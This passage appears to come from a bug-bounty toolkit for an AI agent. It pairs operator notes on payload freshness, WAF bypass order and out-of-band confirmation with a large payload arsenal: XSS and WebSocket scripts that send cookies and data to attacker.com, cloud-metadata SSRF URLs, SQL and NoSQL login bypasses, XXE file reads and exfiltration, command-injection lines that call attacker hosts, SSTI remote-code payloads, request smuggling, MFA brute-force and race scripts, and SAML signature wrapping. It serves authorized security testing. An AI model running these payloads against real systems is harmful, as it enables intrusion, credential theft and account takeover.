skills reach for; the hunt-* skill identifies the sink, this skill provides the syntax.\n- **`triage-validation`** — When deciding if a finding is reportable at all. Workflow primitive: the \"Always Rejected\" and \"Conditionally Valid — Requires Chain\" tables in both skills must agree; `triage-validation` runs the 7-Question Gate, this skill provides the chain-required mapping used by Q7.\n- **`web2-recon`** — When the URL set has been classified by `gf` patterns. Workflow primitive: `gf xss\u002Fssrf\u002Fsqli` outputs from recon → look up the corresponding payload section here; `gf` pattern names index directly into this skill's payload sections.\n- **`evidence-hygiene`** — When a payload produces output worth screenshotting. Workflow primitive: after a payload demonstrates impact (cookie theft, data exfil), hand off to `evidence-hygiene` for redaction before the screenshot becomes evidence.\n- **`bb-methodology`** — When Phase 3 (Discovery) routes by input type. Workflow primitive: Phase 3's decision flow (\"ID param → IDOR checklist\", \"URL input → SSRF checklist\") names which section of this arsenal to load.\n\n---\n\n## Operator Notes (Claude-BugHunter)\n\n> Engagement-derived + 2026-specific additions to the vendored foundation.\n> Wisdom from real authorized engagements + Phase 2 verification across\n> this repo's 31+ skill-area live tests. The upstream payload library\n> covers the WHAT; this layer covers the WHEN-IT-WORKS-vs-WHEN-IT-DOESN'T.\n\n### Payload freshness — what's gone stale by 2026\n\nThe classic CL.TE \u002F TE.CL HTTP smuggling payloads no longer work against Nginx ≥ 1.21, Caddy 2.x, Envoy ≥ 1.20 (verified in Phase 2H). They DO still work against HAProxy ≤ 2.4, older F5 BIG-IP, Citrix ADC, AWS ALB-specific configs, and Apache Traffic Server. Fingerprint the front-end first — `curl -sI` → `Server:` header + `Via:` chain + TLS JA3 — before burning hours on payloads that the parser already rejects at the front door.\n\nSame story for XXE classic — Python lxml ≥ 5.x silently drops SYSTEM entities by default (Phase 2G finding). The payloads remain valid against: Java SAX, PHP DOMDocument with LIBXML_NOENT, .NET XmlDocument with XmlResolver still wired, older lxml (\u003C 5.0), Ruby Nokogiri with DTDLOAD, and a long tail of embedded XML processors (SOAP libraries, SAML implementations, Office document parsers). The payload library still ships these — the operator decision is whether the target's parser is in the still-vulnerable set.\n\nOther stale-by-default-but-not-everywhere payloads as of 2026: `javascript:` URLs in `\u003Ca href>` (Chrome blocks unless explicit user gesture; works in embedded WebViews, Electron, older Edge); `data:text\u002Fhtml` for top-level navigation (modern browsers strip in nav contexts); CRLF injection in `Location:` (most reverse proxies normalize). Always test in the actual target environment, not in a generic browser.\n\n### WAF evaluation order matters\n\nWhen multiple bypass payloads exist for the same WAF, the order to try is:\n\n1. **Encoding tricks** — case variation (`SeLeCt`), URL-encode once, URL-encode twice, Unicode escape (`\u003C`), HTML-entity (`&#x3c;`), UTF-8 overlong sequences.\n2. **Parser quirks** — XML namespace, JSON `\\u` escapes mid-keyword, `Content-Type: application\u002Fjson` vs `application\u002Fx-www-form-urlencoded` parser-confusion, multipart boundary tricks.\n3. **Protocol-level** — HTTP\u002F2 vs HTTP\u002F1.1 (some WAFs only inspect one), Host header injection, `X-Original-URL`, `X-Forwarded-*` smuggling.\n4. **WAF rule-specific bypasses** — Cloudflare, AWS WAF, Akamai, Imperva, F5 ASM each have known signature gaps; load the vendor-specific payload subsection.\n\nMost engagements end at step 2 — modern WAFs trip on the parser-quirk class because the WAF and the origin app disagree on what's a \"valid\" request.\n\n### OOB-Or-It-Didn't-Happen Gate applies everywhere\n\nEvery blind primitive (blind SQLi, blind XSS, blind SSRF, blind RCE, blind XXE) needs OOB confirmation. Without it, you can't tell the bug from a parser-error log. Phase 2D's hardened lab proved the gate kills FPs that look identical to real bugs at the surface — error messages with `you have an error in your SQL syntax` text in a 500 page can be parser logs from a different request entirely, hit a Burp Collaborator domain (or interactsh) and confirm callback before filing.\n\nOOB callback infrastructure ranking by 2026: (1) Burp Collaborator (Pro license; cleanest), (2) interactsh-client (open source; comparable), (3) DNSLog.cn (free but logged by third party — never use for paid engagements), (4) self-hosted catch-all DNS + HTTP listener (most reliable for long-running engagements).\n\n### Marker discipline\n\nGeneric words appear naturally in target content. A search for `javascript` hitting \"JavaScript Tutorial\" is not reflection — it's keyword overlap. Use unique random strings:\n\n```\nm=$(head -c 12 \u002Fdev\u002Furandom | base64 | tr -d '+\u002F=' | head -c 12)\n# now m is like \"K7gXq2pNRm1z\" — search for THIS in the response\ncurl \"https:\u002F\u002Ftarget\u002Fsearch?q=${m}\" | grep -c \"$m\"\n```\n\nIf the marker appears in the response, you have reflection. If it appears unescaped in HTML context, you have XSS potential. If it appears in a Location header, redirect. If it appears in a SQL error, injection. The marker is the single source of truth — generic keywords lie.\n\n### Statistical Sampling for noisy oracles\n\nSingle-trial timing differentials are noise. Require n≥10 interleaved trials, Welch's t-statistic > 3, or equivalent confidence-interval separation. Phase 2D verified this against a deliberately-noisy timing oracle: single trial showed 129ms delta (which would have been filed); n=10 showed mean 78ms vs 191ms with t=5.26 (real, well-supported).\n\nSkeleton for timing-side-channel validation:\n\n```python\nimport statistics\ndef welch_t(a, b):\n    ma, mb = statistics.mean(a), statistics.mean(b)\n    va, vb = statistics.variance(a), statistics.variance(b)\n    return (ma - mb) \u002F ((va\u002Flen(a) + vb\u002Flen(b)) ** 0.5)\n# interleave control + test trials, n=10 each, t > 3 = signal\n```\n\nSame rule applies to blind boolean oracles where the diff is response-length or status-code under jitter — sample, don't assume.\n","# SECURITY ARSENAL\n\nPayloads, bypass tables, wordlists, and submission rules.\n\n---\n\n## XSS PAYLOADS\n\n### Basic Probes\n```javascript\n\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n\u003Cimg src=x onerror=alert(document.domain)>\n\u003Csvg onload=alert(document.domain)>\n\">\u003Cscript>alert(1)\u003C\u002Fscript>\n'>\u003Cimg src=x onerror=alert(1)>\njavascript:alert(document.domain)\n```\n\n### Cookie Theft (proof of impact)\n```javascript\n\u003Cscript>document.location='https:\u002F\u002Fattacker.com\u002Fc?c='+document.cookie\u003C\u002Fscript>\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fattacker.com?c='+document.cookie)\">\n\u003Cscript>fetch('https:\u002F\u002Fattacker.com?c='+btoa(document.cookie))\u003C\u002Fscript>\n```\n\n### CSP Bypass Techniques\n```javascript\n\u002F\u002F If unsafe-inline blocked — use fetch\u002FXHR\n\u003Cimg src=x onerror=\"fetch('https:\u002F\u002Fattacker.com?d='+btoa(document.cookie))\">\n\n\u002F\u002F If script-src nonce present — find nonce reflection\n\u003Cscript nonce=\"NONCE_FROM_PAGE\">alert(1)\u003C\u002Fscript>\n\n\u002F\u002F Angular template injection (bypasses many CSPs)\n{{constructor.constructor('alert(1)')()}}\n\n\u002F\u002F React dangerouslySetInnerHTML reflection\n\u002F\u002F Vue v-html binding\n\n\u002F\u002F mXSS (mutation-based XSS)\n\u003Cnoscript>\u003Cp title=\"\u003C\u002Fnoscript>\u003Cimg src=x onerror=alert(1)>\">\n\n\u002F\u002F Polyglot (works in HTML\u002FJS\u002FCSS context)\n'\">>\u003Cmarquee>\u003Cimg src=x onerror=confirm(1)>\u003C\u002Fmarquee>\">\u003C\u002Fplaintext\\>\u003C\u002F|\\>\u003Cplaintext\u002Fonmouseover=prompt(1)>\u003Cscript>prompt(1)\u003C\u002Fscript>@gmail.com\u003Cisindex formaction=javascript:alert(\u002FXSS\u002F) type=submit>'-->\">\u003C\u002Fscript>\u003Cscript>alert(1)\u003C\u002Fscript>\n```\n\n### DOM XSS Sources and Sinks\n```javascript\n\u002F\u002F Sources (user-controlled input)\nlocation.hash\nlocation.search\nlocation.href\ndocument.referrer\nwindow.name\ndocument.URL\n\n\u002F\u002F Sinks (dangerous)\ninnerHTML = SOURCE\nouterHTML = SOURCE\ndocument.write(SOURCE)\neval(SOURCE)\nsetTimeout(SOURCE, ...)   \u002F\u002F string form\nsetInterval(SOURCE, ...)\nnew Function(SOURCE)\nelement.src = SOURCE      \u002F\u002F javascript: URI\nelement.href = SOURCE\nlocation.href = SOURCE\n```\n\n---\n\n## SSRF PAYLOADS\n\n### Cloud Metadata\n```bash\n# AWS\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FROLE-NAME\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fuser-data\u002F\nhttp:\u002F\u002F169.254.169.254\u002Flatest\u002Fdynamic\u002Finstance-identity\u002Fdocument\n\n# GCP\nhttp:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\n# Header: Metadata-Flavor: Google\n\n# Azure IMDS\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\n# Header: Metadata: true\n```\n\n### Internal Service Fingerprinting\n```bash\nhttp:\u002F\u002Flocalhost:6379      # Redis (unauthenticated, RESP protocol)\nhttp:\u002F\u002Flocalhost:9200      # Elasticsearch (\u002F_cat\u002Findices)\nhttp:\u002F\u002Flocalhost:27017     # MongoDB (binary — check for connection refused vs timeout)\nhttp:\u002F\u002Flocalhost:8080      # Admin panel\nhttp:\u002F\u002Flocalhost:2375      # Docker API — GET \u002Fcontainers\u002Fjson\nhttp:\u002F\u002Flocalhost:10.96.0.1:443  # Kubernetes API server\n```\n\n### SSRF IP Bypass Payloads\n```bash\n# All of these map to 127.0.0.1:\nhttp:\u002F\u002F2130706433          # decimal\nhttp:\u002F\u002F0177.0.0.1          # octal\nhttp:\u002F\u002F0x7f.0x0.0x0.0x1   # hex\nhttp:\u002F\u002F127.1               # short form\nhttp:\u002F\u002F[::1]               # IPv6 loopback\nhttp:\u002F\u002F[::ffff:127.0.0.1]  # IPv4-mapped IPv6\nhttp:\u002F\u002F[::ffff:0x7f000001] # mixed hex IPv6\n\n# DNS rebinding: A→external, then resolves to internal after allowlist check\n\n# Redirect chain (Vercel pattern):\n# If filter only checks initial URL but follows redirects:\nhttp:\u002F\u002Fallowed-domain.com\u002Fredirect?to=http:\u002F\u002F169.254.169.254\u002F\n```\n\n---\n\n## SQL INJECTION PAYLOADS\n\n### Detection\n```sql\n'\n''\n`\n')\n'))\n' OR '1'='1\n' OR 1=1--\n' OR 1=1#\n' UNION SELECT NULL--\n'; WAITFOR DELAY '0:0:5'--   -- MSSQL time-based\n'; SELECT SLEEP(5)--          -- MySQL time-based\n' OR SLEEP(5)--\n```\n\n### Union-Based (determine column count)\n```sql\n' UNION SELECT NULL--\n' UNION SELECT NULL,NULL--\n' UNION SELECT NULL,NULL,NULL--\n' UNION SELECT 'a',NULL,NULL--\n```\n\n### Blind SQLi (time-based confirmation)\n```sql\n# MySQL\n' AND SLEEP(5)--\n# PostgreSQL\n' AND pg_sleep(5)--\n# MSSQL\n'; WAITFOR DELAY '0:0:5'--\n# Oracle\n' AND 1=dbms_pipe.receive_message('a',5)--\n```\n\n### WAF Bypass\n```sql\n\u002F*!50000 SELECT*\u002F * FROM users     -- MySQL inline comment\nSE\u002F**\u002FLECT * FROM users             -- comment injection\nSeLeCt * FrOm uSeRs                -- case variation\n%27 OR %271%27=%271                 -- URL encoding\nʼ OR ʼ1ʼ=ʼ1                       -- Unicode apostrophe\n```\n\n---\n\n## XXE PAYLOADS\n\n### Classic File Read\n```xml\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n```\n\n### Blind OOB via HTTP (DNS confirmation)\n```xml\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fattacker.burpcollaborator.net\u002Fxxe\">]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n```\n\n### Blind OOB via DNS + Data Exfil\n```xml\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % data SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n  \u003C!ENTITY % param1 \"\u003C!ENTITY exfil SYSTEM 'http:\u002F\u002Fattacker.com\u002F?%data;'>\">\n  %param1;\n]>\n\u003Cfoo>&exfil;\u003C\u002Ffoo>\n```\n\n### XXE via DOCX\u002FSVG\u002FPDF Upload\n- SVG: `\u003Cimage href=\"file:\u002F\u002F\u002Fetc\u002Fpasswd\" \u002F>`\n- DOCX: malicious XML in `word\u002Fdocument.xml` with external entity\n\n---\n\n## PATH TRAVERSAL PAYLOADS\n\n```bash\n..\u002F..\u002F..\u002Fetc\u002Fpasswd\n....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n..%2F..%2F..%2Fetc%2Fpasswd\n%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\n..%252f..%252f..%252fetc%252fpasswd   # double URL encoding\n\u002Fetc\u002Fpasswd%00.jpg                     # null byte truncation\n....\\\u002F....\\\u002Fetc\u002Fpasswd                 # mix of separators\n```\n\n---\n\n## IDOR \u002F AUTH BYPASS PAYLOADS\n\n### Horizontal Privilege Escalation\n```bash\n# Change numeric ID\nGET \u002Fapi\u002Fuser\u002F123\u002Fprofile → GET \u002Fapi\u002Fuser\u002F124\u002Fprofile\n\n# Change UUID (find victim UUID via other endpoints)\nGET \u002Fapi\u002Fprofile\u002Fa1b2c3d4-... → GET \u002Fapi\u002Fprofile\u002Fe5f6g7h8-...\n\n# HTTP method swap\nPUT \u002Fapi\u002Fuser\u002F123 (protected) → DELETE \u002Fapi\u002Fuser\u002F123 (not protected)\n\n# Old API version\nGET \u002Fv2\u002Fusers\u002F123 (protected) → GET \u002Fv1\u002Fusers\u002F123 (not protected)\n\n# Add parameter\nGET \u002Fapi\u002Forders → GET \u002Fapi\u002Forders?user_id=456\n```\n\n### Vertical Privilege Escalation\n```bash\n# Parameter pollution\nPOST \u002Fapi\u002Fuser\u002Fupdate\n{\"role\": \"admin\"}\n{\"isAdmin\": true}\n{\"admin\": 1}\n\n# Hidden fields\n\u003Cinput type=\"hidden\" name=\"admin\" value=\"true\">\n# Change in Burp before sending\n\n# GraphQL introspection → find admin mutations\n{\"query\": \"{ __schema { types { name fields { name } } } }\"}\n```\n\n---\n\n## AUTHENTICATION BYPASS PAYLOADS\n\n### JWT Attacks\n```bash\n# None algorithm\n# Decode JWT, change alg to \"none\", remove signature\nimport base64, json\nheader = base64.b64encode(json.dumps({\"alg\":\"none\",\"typ\":\"JWT\"}).encode()).decode().rstrip('=')\npayload = base64.b64encode(json.dumps({\"sub\":\"1\",\"role\":\"admin\"}).encode()).decode().rstrip('=')\ntoken = f\"{header}.{payload}.\"\n\n# Secret bruteforce\nhashcat -a 0 -m 16500 jwt.txt ~\u002Fwordlists\u002Frockyou.txt\n```\n\n### OAuth Attacks\n```bash\n# Missing PKCE test\nGET \u002Foauth2\u002Fauth?response_type=code&client_id=X&redirect_uri=Y&scope=Z\n# No code_challenge → check if 302 (not error) = PKCE not enforced\n\n# State parameter check\nGET \u002Foauth2\u002Fauth?response_type=code&client_id=X&redirect_uri=Y&scope=Z\n# Missing\u002Fstatic state parameter = CSRF on OAuth = account linkage attack\n```\n\n---\n\n## NOSQL INJECTION PAYLOADS (MongoDB)\n\n### Operator Injection (JSON body)\n```json\n{\"username\": {\"$ne\": null}, \"password\": {\"$ne\": null}}\n{\"username\": {\"$regex\": \".*\"}, \"password\": {\"$regex\": \".*\"}}\n{\"username\": \"admin\", \"password\": {\"$gt\": \"\"}}\n{\"$where\": \"this.username == 'admin'\"}\n{\"username\": {\"$in\": [\"admin\", \"root\", \"administrator\"]}}\n```\n\n### GET Parameter Injection\n```bash\n# URL parameter injection\n\u002Flogin?username[$ne]=null&password[$ne]=null\n\u002Flogin?username[$regex]=.*&password[$regex]=.*\n\u002Flogin?username=admin&password[$gt]=\n\n# MongoDB operator reference:\n# $ne = not equal (bypass: value != null = any value matches)\n# $gt = greater than (bypass: \"\" \u003C any string)\n# $regex = regex match (bypass: .* = anything)\n# $where = JS expression (RCE potential on older MongoDB)\n```\n\n### Auth Bypass One-Liners\n```bash\ncurl -s -X POST https:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":{\"$ne\":null},\"password\":{\"$ne\":null}}'\n\n# URL-encoded for GET forms:\n# username%5B%24ne%5D=null&password%5B%24ne%5D=null\n```\n\n---\n\n## COMMAND INJECTION PAYLOADS\n\n### Basic Detection\n```bash\n; id\n| id\n` id `\n$(id)\n&& id\n|| id\n; sleep 5\n| sleep 5\n$(sleep 5)\n`sleep 5`\n```\n\n### Blind OOB (out-of-band confirmation)\n```bash\n; curl https:\u002F\u002Fattacker.burpcollaborator.net\n; nslookup attacker.burpcollaborator.net\n$(nslookup attacker.burpcollaborator.net)\n`ping -c 1 attacker.burpcollaborator.net`\n; wget https:\u002F\u002Fattacker.com\u002F$(id|base64)\n```\n\n### Bypass Techniques\n```bash\n# Bypass space filter\n;{cat,\u002Fetc\u002Fpasswd}\n;cat${IFS}\u002Fetc\u002Fpasswd\n;cat$IFS\u002Fetc\u002Fpasswd\n;IFS=,;cat,\u002Fetc\u002Fpasswd\n\n# Bypass keyword filter (cat, id blocked)\n# Obfuscate with quotes\n;c'a't \u002Fetc\u002Fpasswd\n;c\"a\"t \u002Fetc\u002Fpasswd\n;$(printf '\\x63\\x61\\x74') \u002Fetc\u002Fpasswd\n\n# Bypass via env\n;$BASH -c 'id'\n;${IFS}id\n\n# Windows-specific\n& dir\n| type C:\\Windows\\win.ini\n& ping -n 1 attacker.com\n```\n\n### Context-Specific (filename injection)\n```bash\n# File upload filenames\ntest.jpg; id\ntest$(id).jpg\ntest`id`.jpg\n..\u002Ftest.jpg\n..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n```\n\n---\n\n## SSTI DETECTION PAYLOADS (All Engines)\n\n### Universal Probe (send all, observe which evaluate)\n```\n{{7*7}}        → 49 = Jinja2 (Python) or Twig (PHP)\n${7*7}         → 49 = Freemarker (Java) or Spring EL\n\u003C%= 7*7 %>     → 49 = ERB (Ruby) or EJS (Node.js)\n#{7*7}         → 49 = Mako (Python) or Pebble (Java)\n*{7*7}         → 49 = Spring Thymeleaf\n{{7*'7'}}      → 7777777 = Jinja2 (not Twig — Twig gives 49)\n${\"freemarker.template.utility.Execute\"?new()(\"id\")}  → Freemarker RCE\n```\n\n### RCE Payloads by Engine\n\n**Jinja2 (Python\u002FFlask\u002FDjango):**\n```python\n{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}\n{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}\n```\n\n**Twig (PHP\u002FSymfony):**\n```php\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}\n{{['id']|filter('system')}}\n```\n\n**Freemarker (Java):**\n```\n${\"freemarker.template.utility.Execute\"?new()(\"id\")}\n\u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ ex(\"id\") }\n```\n\n**ERB (Ruby on Rails):**\n```ruby\n\u003C%= `id` %>\n\u003C%= system(\"id\") %>\n\u003C%= IO.popen('id').read %>\n```\n\n**Spring Thymeleaf:**\n```java\n${T(java.lang.Runtime).getRuntime().exec('id')}\n__${T(java.lang.Runtime).getRuntime().exec(\"id\")}__::.x\n```\n\n**EJS (Node.js):**\n```javascript\n\u003C%= process.mainModule.require('child_process').execSync('id') %>\n```\n\n### Where to Test\n```\nName\u002Fbio\u002Fusername fields, email subject templates, invoice\u002FPDF generators,\nURL path parameters reflected in page, error messages, search query reflections,\nHTTP headers that appear in rendered responses, notification templates\n```\n\n---\n\n## HTTP SMUGGLING PAYLOADS\n\n### CL.TE — Content-Length front-end, Transfer-Encoding back-end\n```http\nPOST \u002F HTTP\u002F1.1\nHost: target.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n```\n\n### TE.CL — Transfer-Encoding front-end, Content-Length back-end\n```http\nPOST \u002F HTTP\u002F1.1\nHost: target.com\nTransfer-Encoding: chunked\nContent-Length: 3\n\n8\nSMUGGLED\n0\n\n\n```\n\n### TE.TE — Both support Transfer-Encoding, obfuscate to disable one\n```http\n# Obfuscate the TE header so one layer ignores it\nTransfer-Encoding: xchunked\nTransfer-Encoding: chunked\nTransfer-Encoding: chunked\nTransfer-Encoding: x\n\nTransfer-Encoding:[tab]chunked\n[space]Transfer-Encoding: chunked\nX: X[\\n]Transfer-Encoding: chunked\nTransfer-Encoding\n: chunked\n```\n\n### H2.CL — HTTP\u002F2 front-end with Content-Length injection\n```\n# In Burp Repeater, switch to HTTP\u002F2\n# Add Content-Length header manually (not auto-set by HTTP\u002F2)\n# Front-end ignores CL (HTTP\u002F2 uses :content-length pseudo-header)\n# Back-end uses CL → desync\n```\n\n### Detection (Burp)\n```\n1. Install HTTP Request Smuggler extension\n2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe\n3. All four probe types automatically sent\n4. ~10-second timeout on CL.TE probe = back-end waiting = CONFIRMED\n```\n\n### Impact Chain\n```\nBasic desync          → Capture victim's next request → Read their auth token\n+ Admin user traffic  → Access admin as victim\n+ Cache poisoning     → Stored XSS at scale for all users\n```\n\n---\n\n## WEBSOCKET PAYLOADS\n\n### IDOR \u002F Auth Bypass\n```javascript\n\u002F\u002F Test: subscribe to other user's channel\n{\"action\": \"subscribe\", \"channel\": \"user_VICTIM_ID_HERE\"}\n{\"action\": \"get_history\", \"userId\": \"VICTIM_UUID\"}\n{\"action\": \"getProfile\", \"id\": 2}\n{\"action\": \"admin.listUsers\"}\n{\"action\": \"admin.getToken\", \"userId\": \"1\"}\n```\n\n### Cross-Site WebSocket Hijacking (CSWSH)\n```html\n\u003C!-- Host on attacker site. If no Origin validation, steals victim's WS data. -->\n\u003Cscript>\nvar ws = new WebSocket('wss:\u002F\u002Ftarget.com\u002Fws');\n\u002F\u002F Browser automatically sends victim's cookies\nws.onopen = () => ws.send(JSON.stringify({action:\"getProfile\"}));\nws.onmessage = (e) => fetch('https:\u002F\u002Fattacker.com\u002F?d='+encodeURIComponent(e.data));\n\u003C\u002Fscript>\n```\n\n### Test Origin Validation\n```bash\n# Should reject non-target origins. If it doesn't = CSWSH vulnerability\nwscat -c \"wss:\u002F\u002Ftarget.com\u002Fws\" -H \"Origin: https:\u002F\u002Fevil.com\"\nwscat -c \"wss:\u002F\u002Ftarget.com\u002Fws\" -H \"Origin: null\"\nwscat -c \"wss:\u002F\u002Ftarget.com\u002Fws\" -H \"Origin: https:\u002F\u002Ftarget.com.evil.com\"\n```\n\n### Injection via WS Messages\n```javascript\n\u002F\u002F XSS in chat\u002Fnotification system\n{\"message\": \"\u003Cimg src=x onerror=fetch('https:\u002F\u002Fattacker.com?c='+document.cookie)>\"}\n\n\u002F\u002F SQLi\n{\"action\": \"search\", \"query\": \"' OR 1=1--\"}\n\n\u002F\u002F SSRF (if server fetches URLs from messages)\n{\"action\": \"preview\", \"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"}\n```\n\n---\n\n## MFA \u002F 2FA BYPASS PAYLOADS\n\n### Pattern 1: OTP Brute Force (no rate limit)\n```bash\n# Try all 6-digit OTPs\nffuf -u \"https:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-otp\" \\\n  -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Cookie: session=YOUR_SESSION\" \\\n  -d '{\"otp\":\"FUZZ\"}' \\\n  -w \u003C(seq -w 000000 999999) \\\n  -fc 400,429 \\\n  -t 5\n\n# Rate limit bypass: rotate session tokens between requests\n# Or use GraphQL batching to send 100 attempts per request\n```\n\n### Pattern 2: OTP Reuse (token not invalidated)\n```\n1. Request OTP → receive \"123456\"\n2. Submit OTP correctly → authenticated\n3. Log out\n4. Log in again\n5. Submit same OTP \"123456\" (expired? still works?)\n6. Try OTP from previous session at new login\n```\n\n### Pattern 3: Response Manipulation\n```\nStep 1: Enter wrong OTP → intercept response in Burp\nStep 2: Change: {\"success\": false, \"message\": \"Invalid OTP\"} → {\"success\": true}\nStep 3: Forward modified response → sometimes app trusts it and proceeds\nAlso try: change status code 401 → 200, or change redirect from \u002Ffailed to \u002Fdashboard\n```\n\n### Pattern 4: Code Predictability\n```python\nimport requests, time\n\n# Some implementations use timestamp-based OTPs:\nfor t_offset in range(-30, 31):  # Test ±30 seconds\n    totp_value = generate_totp(secret, time.time() + t_offset)\n    r = requests.post(\"https:\u002F\u002Ftarget.com\u002Fapi\u002Fmfa\", json={\"otp\": totp_value})\n    if r.status_code == 200:\n        print(f\"VALID at offset {t_offset}s: {totp_value}\")\n        break\n```\n\n### Pattern 5: Backup Codes Not Rate Limited\n```bash\n# Backup codes are typically 8-character alphanumeric = smaller space than 6-digit TOTP\n# Try brute force on \u002Fapi\u002Fverify-backup-code if no rate limit\n```\n\n### Pattern 6: Skip MFA Step (Workflow Bypass)\n```bash\n# After entering username\u002Fpassword, you get a session cookie\n# Test: skip the \u002Fmfa\u002Fverify step entirely, go directly to \u002Fdashboard\n# If cookie grants access before MFA = auth flow bypass\n\n# Also: complete MFA in one session, reuse cookie in another browser\n# Checks whether MFA completion is tied to the specific session\n```\n\n### Pattern 7: Race on MFA Verification\n```python\nimport asyncio, aiohttp\n\n# Race 2 MFA verifications simultaneously\n# If both succeed = parallel session ATO\nasync def verify(session, otp):\n    async with session.post(\"https:\u002F\u002Ftarget.com\u002Fapi\u002Fmfa\u002Fverify\",\n                            json={\"otp\": otp}) as r:\n        return await r.json()\n\nasync def race():\n    async with aiohttp.ClientSession(cookies={\"session\": \"YOUR_SESSION\"}) as s:\n        results = await asyncio.gather(verify(s, \"123456\"), verify(s, \"123456\"))\n        print(results)\n\nasyncio.run(race())\n```\n\n---\n\n## SAML ATTACKS\n\n### Attack 1: XML Signature Wrapping (XSW)\n```xml\n\u003C!-- Original valid assertion: -->\n\u003Csaml:Assertion ID=\"legit\">\n  \u003CNameID>user@company.com\u003C\u002FNameID>\n  \u003Cds:Signature>VALID_SIGNATURE_OVER_legit\u003C\u002Fds:Signature>\n\u003C\u002Fsaml:Assertion>\n\n\u003C!-- XSW: Inject malicious assertion before\u002Fafter the signed one. -->\n\u003C!-- Server validates signature on #legit but processes #evil instead. -->\n\u003Csaml:Response>\n  \u003Csaml:Assertion ID=\"evil\">\n    \u003CNameID>admin@company.com\u003C\u002FNameID>     \u003C!-- Attacker-controlled -->\n  \u003C\u002Fsaml:Assertion>\n  \u003Csaml:Assertion ID=\"legit\">              \u003C!-- Original stays valid -->\n    \u003CNameID>user@company.com\u003C\u002FNameID>\n    \u003Cds:Signature>VALID_SIGNATURE\u003C\u002Fds:Signature>\n  \u003C\u002Fsaml:Assertion>\n\u003C\u002Fsaml:Response>\n```\n\n### Attack 2: Comment Injection in NameID\n```xml\n\u003C!-- Original: user@company.com -->\n\u003C!-- Injected:  -->\n\u003CNameID>admin\u003C!---->@company.com\u003C\u002FNameID>\n\u003C!-- XML parsers strip comments: admin@company.com -->\n\u003C!-- SAML validator sees \"user@company.com\" (before comment) -->\n\u003C!-- Application uses \"admin@company.com\" (after comment stripped) -->\n```\n\n### Attack 3: Signature Stripping\n```\n1. Capture SAMLResponse (base64 decode from browser)\n2. Remove or modify the \u003CSignature> element entirely\n3. Change NameID to admin@company.com\n4. Re-encode and submit\n5. If server doesn't validate signature presence = admin login\n```\n\n### Attack 4: XXE in SAML Assertion\n```xml\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>\n\u003Csaml:Response>\n  \u003Csaml:Assertion>\n    \u003CNameID>&xxe;\u003C\u002FNameID>\n  \u003C\u002Fsaml:Assertion>\n\u003C\u002Fsaml:Response>\n```\n\n### Tools\n```bash\n# SAMLRaider (Burp extension) — most automated XSW testing\n# Install from BApp Store, intercept SAMLResponse, right-click → SAML Raider\n\n# Manual: decode, modify, re-encode\necho \"BASE64_SAML_RESPONSE\" | base64 -d | xmllint --format - > saml.xml\n# Edit saml.xml\ncat saml.xml | base64 -w0  # Re-encode\n```\n\n---\n\n## GF PATTERN NAMES (tomnomnom\u002Fgf)\n\n```bash\n# Install: https:\u002F\u002Fgithub.com\u002Ftomnomnom\u002Fgf\n# Usage: cat urls.txt | gf PATTERN\n\ngf xss          # XSS parameters\ngf ssrf         # SSRF parameters\ngf idor         # IDOR parameters\ngf sqli         # SQL injection parameters\ngf redirect     # Open redirect parameters\ngf lfi          # Local file inclusion\ngf rce          # Remote code execution parameters\ngf ssti         # Template injection parameters\ngf debug_logic  # Debug\u002Flogic parameters\ngf secrets      # Secret\u002Ftoken patterns\ngf upload-fields # File upload parameters\ngf cors         # CORS-related parameters\n```\n\n---\n\n## ALWAYS REJECTED — NEVER SUBMIT\n\nSubmitting these destroys your validity ratio. N\u002FA hurts. Don't.\n\n```\nMissing CSP \u002F HSTS \u002F X-Frame-Options \u002F other security headers\nMissing SPF \u002F DKIM \u002F DMARC\nGraphQL introspection alone (no auth bypass, no IDOR)\nBanner \u002F version disclosure without a working CVE exploit\nClickjacking on non-sensitive pages (no sensitive action in PoC)\nTabnabbing\nCSV injection (no actual code execution shown)\nCORS wildcard (*) without credential exfil PoC\nLogout CSRF\nSelf-XSS (only exploits own account)\nOpen redirect alone (no ATO chain, no OAuth code theft)\nOAuth 